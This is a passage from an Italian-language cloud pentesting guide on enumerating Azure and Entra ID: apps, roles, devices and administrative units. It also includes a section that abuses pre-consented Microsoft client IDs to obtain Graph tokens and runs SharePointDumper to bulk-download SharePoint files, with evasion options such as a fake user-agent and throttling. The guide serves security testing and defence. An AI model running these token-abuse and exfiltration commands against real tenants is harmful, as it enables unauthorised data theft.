{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** assegnandosi il ruolo.\
> Per maggiori informazioni [**consulta questo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).

> [!NOTE]
> Una stringa segreta che l'applicazione usa per provare la propria identità quando richiede un token è la password dell'applicazione.\
> Quindi, se trovi questa **password** puoi accedere come **service principal** **all'interno** del **tenant**.\
> Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi recuperarla di nuovo).\
> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (quindi può impersonarla).\
> Gli accessi effettuati da questi **service principals** non sono **contrassegnati come rischiosi** e non avranno **MFA.**

È possibile trovare una lista di App ID comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)

### Managed Identities

Per maggiori informazioni sulle Managed Identities consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
```
{{#endtab }}
{{#endtabs }}

### Ruoli di Azure

Per ulteriori informazioni sui ruoli di Azure, consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash

# List all available role templates using Microsoft Graph PowerShell
Get-MgDirectoryRoleTemplate -All

# List enabled built-in Entra ID roles
Get-MgDirectoryRole -All

# List all Entra ID roles with their permissions (including custom roles)
Get-MgDirectoryRoleDefinition -All

# List members of a Entra ID role
Get-MgDirectoryRoleMember -DirectoryRoleId <RoleId> -All

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get deny assignments
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#tab name="Raw" }}
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}

### Ruoli di Entra ID

Per ulteriori informazioni sui ruoli di Azure, consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}

### Dispositivi

{{#tabs }}
{{#tab name="az cli" }}
```bash
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All

# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *

# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All

# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD saranno **in grado di effettuare il login**.\
> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **amministratore locale**.

### Unità amministrative

Per maggiori informazioni sulle unità amministrative consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}

{{#tab name="AzureAD" }}
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}

## Esfiltrazione di dati SharePoint delegata tramite Microsoft Graph (SharePointDumper)

Gli attaccanti in possesso di un **token Microsoft Graph delegato** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **scaricare i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo limitato che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) ed emette telemetria per richiesta utile per i test di rilevamento.

### Ottenere token delegati utilizzabili

- SharePointDumper stesso **non si autentica**; fornisci un access token (opzionalmente un refresh token).
- Client di **first-party** già pre-consentiti possono essere abusati per generare un token Graph senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> I client FOCI TRUE supportano il refresh su più dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine del reply URL.

### Esecuzione di SharePointDumper per enumeration + exfiltration

- Dump di base con UA personalizzato / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Controllo dell'ambito: includere/escludere siti o estensioni e limiti globali:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Riprendi** esecuzioni interrotte (riesegue l'enumerazione ma salta gli elementi già scaricati):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Note operative:

- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh non vengono registrati nel log API dello strumento.
- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per impostazione predefinita i token di download embedded di SharePoint (attivabile).
- Supporta **custom User-Agent**, **HTTP proxy**, **ritardo per richiesta + jitter**, e **spegnimento sicuro con Ctrl+C** per modellare il traffico durante test di rilevamento/IR.

## Entra ID Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Azure Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}

## Meccanismi difensivi

### Privileged Identity Management (PIM)

Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione di privilegi eccessivi** agli utenti.

Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal costantemente attivi, bensì renderli **eligibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo necessario per il privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
Nota che l'utente può anche richiedere di **estendere** il tempo.

Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.

<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>

Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:

- Durata massima (ore) dell'attivazione
- Richiedere MFA all'attivazione
- Richiedere il contesto di autenticazione di Conditional Access
- Richiedere giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
- Richiedere approvazione per attivare
- Tempo massimo per la scadenza delle assegnazioni eleggibili
- Molte altre configurazioni su quando e a chi inviare notifiche quando avvengono determinate azioni relative a quel ruolo

### Conditional Access Policies

Check:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Entra Identity Protection

Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di sign-in.

Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, per impostazione predefinita è completamente **disabilitato**:

<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies, dove è possibile configurare le stesse opzioni.

### Entra Password Protection

Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando avvengono diversi tentativi di login non riusciti**.\
Consente inoltre di **vietare una lista personalizzata di password** che bisogna fornire.

Può essere **applicato sia** a livello cloud che in Active Directory on-premises.

La modalità predefinita è **Audit**:

<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>

## Riferimenti

- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)

{{#include ../../../banners/hacktricks-training.md}}
